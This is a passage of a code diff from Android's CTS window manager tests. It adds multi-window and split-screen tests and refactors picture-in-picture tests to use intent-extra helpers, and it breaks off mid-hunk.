+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:MultiWindowTests
+ */
+@Presubmit
+@android.server.wm.annotation.Group2
+public class MultiWindowTests extends ActivityManagerTestBase {
+
+    private boolean mIsHomeRecentsComponent;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mIsHomeRecentsComponent = mWmState.isHomeRecentsComponent();
+
+        assumeTrue("Skipping test: no split multi-window support",
+                supportsSplitScreenMultiWindow());
+    }
+
+    @Test
+    public void testMinimumDeviceSize() {
+        mWmState.assertDeviceDefaultDisplaySizeForMultiWindow(
+                "Devices supporting multi-window must be larger than the default minimum"
+                        + " task size");
+        mWmState.assertDeviceDefaultDisplaySizeForSplitScreen(
+                "Devices supporting split-screen multi-window must be larger than the"
+                        + " default minimum display size.");
+    }
+
+    /** Resizeable activity should be able to enter multi-window mode.*/
+    @Test
+    public void testResizeableActivity() {
+        launchActivityInPrimarySplit(TEST_ACTIVITY);
+        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        mWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
+    }
+
+    /**
+     * Non-resizeable activity should NOT be able to enter multi-window mode,
+     * but should still be visible.
+     */
+    @Test
+    public void testNonResizeableActivity() {
+        createManagedSupportsNonResizableMultiWindowSession().set(0);
+
+        boolean gotAssertionError = false;
+        try {
+            launchActivityInPrimarySplit(NON_RESIZEABLE_ACTIVITY);
+        } catch (AssertionError e) {
+            gotAssertionError = true;
+        }
+        assertTrue("Trying to put non-resizeable activity in split should throw error.",
+                gotAssertionError);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+    }
+
+    /**
+     * Non-resizeable activity can enter split-screen if
+     * {@link android.provider.Settings.Global#DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW} is
+     * set.
+     */
+    @Test
+    public void testSupportsNonResizeableMultiWindow_splitScreenPrimary() {
+        createManagedSupportsNonResizableMultiWindowSession().set(1);
+
+        launchActivityInPrimarySplit(NON_RESIZEABLE_ACTIVITY);
+
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW));
+    }
+
+    /**
+     * Non-resizeable activity can enter split-screen if
+     * {@link android.provider.Settings.Global#DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW} is
+     * set.
+     */
+    @Test
+    public void testSupportsNonResizeableMultiWindow_splitScreenSecondary() {
+        createManagedSupportsNonResizableMultiWindowSession().set(1);
+
+        launchActivityInPrimarySplit(TEST_ACTIVITY);
+
+        mWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                TEST_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW));
+
+        launchActivityInSecondarySplit(NON_RESIZEABLE_ACTIVITY);
+
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW));
+    }
+
+    /**
+     * Non-resizeable activity can enter split-screen if
+     * {@link android.provider.Settings.Global#DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW} is
+     * set.
+     */
+    @Test
+    public void testSupportsNonResizeableMultiWindow_SplitScreenPrimary() {
+        createManagedSupportsNonResizableMultiWindowSession().set(1);
+
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(NON_RESIZEABLE_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW));
+    }
+
+    /**
+     * Non-resizeable activity can enter split-screen if
+     * {@link android.provider.Settings.Global#DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW} is
+     * set.
+     */
+    @Test
+    public void testSupportsNonResizeableMultiWindow_SplitScreenSecondary() {
+        createManagedSupportsNonResizableMultiWindowSession().set(1);
+
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(NON_RESIZEABLE_ACTIVITY));
+
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW));
+    }
+
+    @Test
+    public void testLaunchToSideMultiWindowCallbacks() {
+        // Launch two activities in split-screen mode.
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(NO_RELAUNCH_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        int displayWindowingMode = mWmState.getDisplay(
+                mWmState.getDisplayByActivity(TEST_ACTIVITY)).getWindowingMode();
+        separateTestJournal();
+        mTaskOrganizer.dismissedSplitScreen();
+        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+            // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
+            final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
+                    NO_RELAUNCH_ACTIVITY);
+            assertEquals(1,
+                    lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+        } else {
+            // Display is not a fullscreen display, so there won't be a multi-window callback.
+            // Instead just verify that windows are not in split-screen anymore.
+            waitForIdle();
+            mWmState.computeState();
+            mWmState.assertDoesNotContainStack("Must have exited split-screen",
+                    WINDOWING_MODE_MULTI_WINDOW, ACTIVITY_TYPE_STANDARD);
+        }
+    }
+
+    @Test
+    public void testNoUserLeaveHintOnMultiWindowModeChanged() {
+        launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+
+        // Move to primary split.
+        separateTestJournal();
+        final int primaryTaskId = mWmState.getTaskByActivity(NO_RELAUNCH_ACTIVITY).mTaskId;
+        mTaskOrganizer.putTaskInSplitPrimary(primaryTaskId);
+
+        ActivityLifecycleCounts lifecycleCounts =
+                waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
+        assertEquals("mMultiWindowModeChangedCount",
+                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+        assertEquals("mUserLeaveHintCount",
+                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+
+        // Make sure primary split is focused. This way when we dismiss it later fullscreen stack
+        // will come up.
+        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        final int secondaryTaskId = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
+        mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+
+        launchActivity(NO_RELAUNCH_ACTIVITY);
+
+        // Move activities back to fullscreen screen.
+        separateTestJournal();
+        mTaskOrganizer.dismissedSplitScreen();
+
+        lifecycleCounts = waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
+        assertEquals("mMultiWindowModeChangedCount",
+                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+        assertEquals("mUserLeaveHintCount",
+                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+    }
+
+    @Test
+    public void testLaunchToSideAndBringToFront() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                TEST_ACTIVITY);
+
+        // Launch another activity to side to cover first one.
+        launchActivityInSecondarySplit(NO_RELAUNCH_ACTIVITY);
+        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+                NO_RELAUNCH_ACTIVITY);
+
+        // Launch activity that was first launched to side. It should be brought to front.
+        launchActivity(TEST_ACTIVITY);
+        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+                TEST_ACTIVITY);
+    }
+
+    @Test
+    public void testLaunchToSideMultiple() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        final int taskNumberInitial = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        // Try to launch to side same activity again.
+        launchActivity(TEST_ACTIVITY);
+        mWmState.computeState(TEST_ACTIVITY, LAUNCHING_ACTIVITY);
+        final int taskNumberFinal = mTaskOrganizer.getSecondarySplitTaskCount();
+        assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
+        mWmState.assertFocusedActivity("Launched to side activity must remain in front.",
+                TEST_ACTIVITY);
+    }
+
+    @Test
+    public void testLaunchToSideSingleInstance() {
+        launchTargetToSide(SINGLE_INSTANCE_ACTIVITY, false);
+    }
+
+    @Test
+    public void testLaunchToSideSingleTask() {
+        launchTargetToSide(SINGLE_TASK_ACTIVITY, false);
+    }
+
+    @Test
+    public void testLaunchToSideMultipleWithDifferentIntent() {
+        launchTargetToSide(TEST_ACTIVITY, true);
+    }
+
+    private void launchTargetToSide(ComponentName targetActivityName,
+            boolean taskCountMustIncrement) {
+        launchActivityInPrimarySplit(LAUNCHING_ACTIVITY);
+
+        // Launch target to side
+        final LaunchActivityBuilder targetActivityLauncher = getLaunchActivityBuilder()
+                .setTargetActivity(targetActivityName)
+                .setToSide(true)
+                .setRandomData(true)
+                .setMultipleTask(false);
+        targetActivityLauncher.execute();
+        final int secondaryTaskId = mWmState.getTaskByActivity(targetActivityName).mTaskId;
+        mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+
+        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+        final int taskNumberInitial = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        // Try to launch to side same activity again with different data.
+        targetActivityLauncher.execute();
+        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+
+        WindowManagerState.ActivityTask task = mWmState.getTaskByActivity(targetActivityName,
+                secondaryTaskId);
+        int secondaryTaskId2 = INVALID_TASK_ID;
+        if (task != null) {
+            secondaryTaskId2 = mWmState.getTaskByActivity(targetActivityName,
+                    secondaryTaskId).mTaskId;
+            mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId2);
+        }
+        final int taskNumberSecondLaunch = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        if (taskCountMustIncrement) {
+            assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+                    taskNumberSecondLaunch);
+        } else {
+            assertEquals("Task number must not change.", taskNumberInitial,
+                    taskNumberSecondLaunch);
+        }
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                targetActivityName);
+
+        // Try to launch to side same activity again with different random data. Note that null
+        // cannot be used here, since the first instance of TestActivity is launched with no data
+        // in order to launch into split screen.
+        targetActivityLauncher.execute();
+        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+        WindowManagerState.ActivityTask taskFinal =
+                mWmState.getTaskByActivity(targetActivityName, secondaryTaskId2);
+        if (taskFinal != null) {
+            int secondaryTaskId3 = mWmState.getTaskByActivity(targetActivityName,
+                    secondaryTaskId2).mTaskId;
+            mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId3);
+        }
+        final int taskNumberFinal = mTaskOrganizer.getSecondarySplitTaskCount();
+
+        if (taskCountMustIncrement) {
+            assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
+                    taskNumberFinal);
+        } else {
+            assertEquals("Task number must not change.", taskNumberSecondLaunch,
+                    taskNumberFinal);
+        }
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                targetActivityName);
+    }
+
+    @Test
+    public void testLaunchToSideMultipleWithFlag() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder()
+                        .setTargetActivity(TEST_ACTIVITY),
+                getLaunchActivityBuilder()
+                        // Try to launch to side same activity again,
+                        // but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
+                        .setMultipleTask(true)
+                        .setTargetActivity(TEST_ACTIVITY));
+        assertTrue("Primary split must contain TEST_ACTIVITY",
+                mWmState.getRootTask(mTaskOrganizer.getPrimarySplitTaskId())
+                        .containsActivity(TEST_ACTIVITY)
+        );
+
+        assertTrue("Secondary split must contain TEST_ACTIVITY",
+                mWmState.getRootTask(mTaskOrganizer.getSecondarySplitTaskId())
+                        .containsActivity(TEST_ACTIVITY)
+                );
+        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                TEST_ACTIVITY);
+    }
+
+    @Test
+    public void testSameProcessActivityResumedPreQ() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_LAUNCHING_ACTIVITY));
+
+        assertEquals("There must be only one resumed activity in the package.", 1,
+                mWmState.getResumedActivitiesCountInPackage(
+                        SDK_27_TEST_ACTIVITY.getPackageName()));
+    }
+
+    @Test
+    public void testDifferentProcessActivityResumedPreQ() {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY));
+
+        assertEquals("There must be only two resumed activities in the package.", 2,
+                mWmState.getResumedActivitiesCountInPackage(
+                        SDK_27_TEST_ACTIVITY.getPackageName()));
+    }
+
+    @Test
+    public void testDisallowUpdateWindowingModeWhenInLockedTask() {
+        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        final WindowManagerState.ActivityTask task =
+                mWmState.getStandardRootTaskByWindowingMode(
+                        WINDOWING_MODE_FULLSCREEN).getTopTask();
+
+        try {
+            // Lock the task
+            runWithShellPermission(() -> mAtm.startSystemLockTaskMode(task.mTaskId));
+            waitForOrFail("Fail to enter locked task mode", () ->
+                    mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE);
+
+            // Verify specifying non-fullscreen windowing mode will fail.
+            boolean exceptionThrown = false;
+            try {
+                runWithShellPermission(() -> {
+                    final WindowContainerTransaction wct = new WindowContainerTransaction()
+                            .setWindowingMode(
+                                    mTaskOrganizer.getTaskInfo(task.mTaskId).getToken(),
+                                    WINDOWING_MODE_MULTI_WINDOW);
+                    mTaskOrganizer.applyTransaction(wct);
+                });
+            } catch (UnsupportedOperationException e) {
+                exceptionThrown = true;
+            }
+            assertTrue("Not allowed to specify windowing mode while in locked task mode.",
+                    exceptionThrown);
+        } finally {
+            runWithShellPermission(() -> {
+                mAtm.stopSystemLockTaskMode();
+            });
+        }
+    }
+
+    @Test
+    public void testDisallowHierarchyOperationWhenInLockedTask() {
+        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW);
+        final WindowManagerState.ActivityTask task = mWmState
+                .getStandardRootTaskByWindowingMode(WINDOWING_MODE_FULLSCREEN).getTopTask();
+        final WindowManagerState.ActivityTask root = mWmState
+                .getStandardRootTaskByWindowingMode(WINDOWING_MODE_MULTI_WINDOW).getTopTask();
+
+        try {
+            // Lock the task
+            runWithShellPermission(() -> {
+                mAtm.startSystemLockTaskMode(task.mTaskId);
+            });
+            waitForOrFail("Fail to enter locked task mode", () ->
+                    mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE);
+
+            boolean gotAssertionError = false;
+            try {
+                runWithShellPermission(() -> {
+                    // Fetch tokens of testing task and multi-window root.
+                    final WindowContainerToken multiWindowRoot =
+                            mTaskOrganizer.getTaskInfo(root.mTaskId).getToken();
+                    final WindowContainerToken testChild =
+                            mTaskOrganizer.getTaskInfo(task.mTaskId).getToken();
+
+                    // Verify performing reparent operation is no operation.
+                    final WindowContainerTransaction wct = new WindowContainerTransaction()
+                            .reparent(testChild, multiWindowRoot, true /* onTop */);
+                    mTaskOrganizer.applyTransaction(wct);
+                    waitForOrFail("Fail to reparent", () ->
+                            mTaskOrganizer.getTaskInfo(task.mTaskId).getParentTaskId()
+                                    == root.mTaskId);
+                });
+            } catch (AssertionError e) {
+                gotAssertionError = true;
+            }
+            assertTrue("Not allowed to perform hierarchy operation while in locked task mode.",
+                    gotAssertionError);
+        } finally {
+            runWithShellPermission(() -> {
+                mAtm.stopSystemLockTaskMode();
+            });
+        }
+    }
+
+    /**
+     * Asserts that the activity is visible when the top opaque activity finishes and with another
+     * translucent activity on top while in split-screen-secondary task.
+     */
+    @Test
+    public void testVisibilityWithTranslucentAndTopFinishingActivity() {
+        // Launch two activities in split-screen mode.
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY));
+
+        // Launch two more activities on a different task on top of split-screen-secondary and
+        // only the top opaque activity should be visible.
+        getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TEST_ACTIVITY)
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .execute();
+        getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .execute();
+        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        mWmState.waitForActivityState(TRANSLUCENT_TEST_ACTIVITY, STATE_STOPPED);
+        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, false);
+        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, false);
+
+        // Finish the top opaque activity and both the two activities should be visible.
+        mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
+        mWmState.computeState(new WaitForValidActivityState(TRANSLUCENT_TEST_ACTIVITY));
+        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, true);
+        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, true);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index b6d7a8c..f421aae 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -17,13 +17,14 @@
 package android.server.wm;
 
 import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.wm.CliIntentExtra.extraBool;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.ComponentNameUtils.getWindowName;
 import static android.server.wm.UiDeviceUtils.pressWindowButton;
@@ -34,6 +35,7 @@
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCH_ENTER_PIP_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY;
+import static android.server.wm.app.Components.LAUNCH_PIP_ON_PIP_ACTIVITY;
 import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
 import static android.server.wm.app.Components.PIP_ACTIVITY;
 import static android.server.wm.app.Components.PIP_ACTIVITY2;
@@ -44,6 +46,7 @@
 import static android.server.wm.app.Components.PipActivity.ACTION_FINISH;
 import static android.server.wm.app.Components.PipActivity.ACTION_MOVE_TO_BACK;
 import static android.server.wm.app.Components.PipActivity.ACTION_ON_PIP_REQUESTED;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ALLOW_AUTO_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR;
@@ -52,11 +55,13 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
 import static android.server.wm.app.Components.PipActivity.EXTRA_FINISH_SELF_ON_RESUME;
+import static android.server.wm.app.Components.PipActivity.EXTRA_NUMBER_OF_CUSTOM_ACTIONS;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ON_PAUSE_DELAY;
 import static android.server.wm.app.Components.PipActivity.EXTRA_PIP_ORIENTATION;
 import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_DENOMINATOR;
 import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_NUMERATOR;
 import static android.server.wm.app.Components.PipActivity.EXTRA_START_ACTIVITY;
+import static android.server.wm.app.Components.PipActivity.EXTRA_IS_SEAMLESS_RESIZE_ENABLED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_TAP_TO_FINISH;
 import static android.server.wm.app.Components.RESUME_WHILE_PAUSING_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
@@ -71,6 +76,7 @@
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.lessThan;
 import static org.hamcrest.Matchers.lessThanOrEqualTo;
 import static org.junit.Assert.assertEquals;
@@ -82,6 +88,9 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import android.app.ActivityTaskManager;
+import android.app.PictureInPictureParams;
+import android.app.TaskInfo;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.ActivityInfo;
@@ -101,8 +110,6 @@
 import android.util.Log;
 import android.util.Size;
 
-import androidx.test.filters.FlakyTest;
-
 import com.android.compatibility.common.util.AppOpsUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -157,22 +164,15 @@
 
     @Test
     public void testMinimumDeviceSize() throws Exception {
-        mWmState.assertDeviceDefaultDisplaySize(
+        mWmState.assertDeviceDefaultDisplaySizeForMultiWindow(
                 "Devices supporting picture-in-picture must be larger than the default minimum"
                         + " task size");
     }
 
     @Test
     public void testEnterPictureInPictureMode() throws Exception {
-        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true"),
-                PIP_ACTIVITY, PIP_ACTIVITY, false /* moveTopToPinnedStack */,
-                false /* isFocusable */);
-    }
-
-    @Test
-    public void testMoveTopActivityToPinnedStack() throws Exception {
-        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY, PIP_ACTIVITY,
-                true /* moveTopToPinnedStack */, false /* isFocusable */);
+        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true")),
+                PIP_ACTIVITY, PIP_ACTIVITY, false /* isFocusable */);
     }
 
     // This test is black-listed in cts-known-failures.xml (b/35314835).
@@ -181,7 +181,7 @@
     public void testAlwaysFocusablePipActivity() throws Exception {
         pinnedStackTester(getAmStartCmd(ALWAYS_FOCUSABLE_PIP_ACTIVITY),
                 ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
-                false /* moveTopToPinnedStack */, true /* isFocusable */);
+                true /* isFocusable */);
     }
 
     // This test is black-listed in cts-known-failures.xml (b/35314835).
@@ -190,15 +190,14 @@
     public void testLaunchIntoPinnedStack() throws Exception {
         pinnedStackTester(getAmStartCmd(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY),
                 LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
-                false /* moveTopToPinnedStack */, true /* isFocusable */);
+                true /* isFocusable */);
     }
 
     @Test
     public void testNonTappablePipActivity() throws Exception {
         // Launch the tap-to-finish activity at a specific place
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_TAP_TO_FINISH, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_TAP_TO_FINISH, "true"));
         // Wait for animation complete since we are tapping on specific bounds
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         assertPinnedStackExists();
@@ -218,9 +217,8 @@
         // Launch an activity that is not fixed-orientation so that the display can rotate
         launchActivity(TEST_ACTIVITY);
         // Launch an activity into the pinned stack
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_TAP_TO_FINISH, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_TAP_TO_FINISH, "true"));
         // Wait for animation complete since we are comparing bounds
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
 
@@ -240,10 +238,10 @@
     public void testEnterPipToOtherOrientation() throws Exception {
         // Launch a portrait only app on the fullscreen stack
         launchActivity(TEST_ACTIVITY,
-                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT));
+                extraString(EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT)));
         // Launch the PiP activity fixed as landscape
         launchActivity(PIP_ACTIVITY,
-                EXTRA_PIP_ORIENTATION, String.valueOf(ORIENTATION_LANDSCAPE));
+                extraString(EXTRA_PIP_ORIENTATION, String.valueOf(ORIENTATION_LANDSCAPE)));
         // Enter PiP, and assert that the PiP is within bounds now that the device is back in
         // portrait
         mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
@@ -258,7 +256,7 @@
     @Test
     public void testEnterPipWithMinimalSize() throws Exception {
         // Launch a PiP activity with minimal size specified
-        launchActivity(PIP_ACTIVITY_WITH_MINIMAL_SIZE, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY_WITH_MINIMAL_SIZE, extraString(EXTRA_ENTER_PIP, "true"));
         // Wait for animation complete since we are comparing size
         waitForEnterPipAnimationComplete(PIP_ACTIVITY_WITH_MINIMAL_SIZE);
         assertPinnedStackExists();
@@ -271,7 +269,7 @@
 
         // compare the bounds with minimal size
         final Rect pipBounds = getPinnedStackBounds();
-        assertTrue("Pinned stack bounds is no smaller than minimal",
+        assertTrue("Pinned task bounds " + pipBounds + " isn't smaller than minimal " + minSize,
                 (pipBounds.width() == minSize.getWidth()
                         && pipBounds.height() >= minSize.getHeight())
                         || (pipBounds.height() == minSize.getHeight()
@@ -293,9 +291,9 @@
         launchActivity(TEST_ACTIVITY);
 
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+                extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num)),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom)));
         // Wait for animation complete since we are comparing aspect ratio
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         assertPinnedStackExists();
@@ -321,9 +319,9 @@
         launchActivity(TEST_ACTIVITY);
 
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+                extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num)),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom)));
         // Wait for animation complete since we are comparing aspect ratio
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         assertPinnedStackExists();
@@ -350,9 +348,9 @@
 
         // Assert that we could not create a pinned stack with an extreme aspect ratio
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
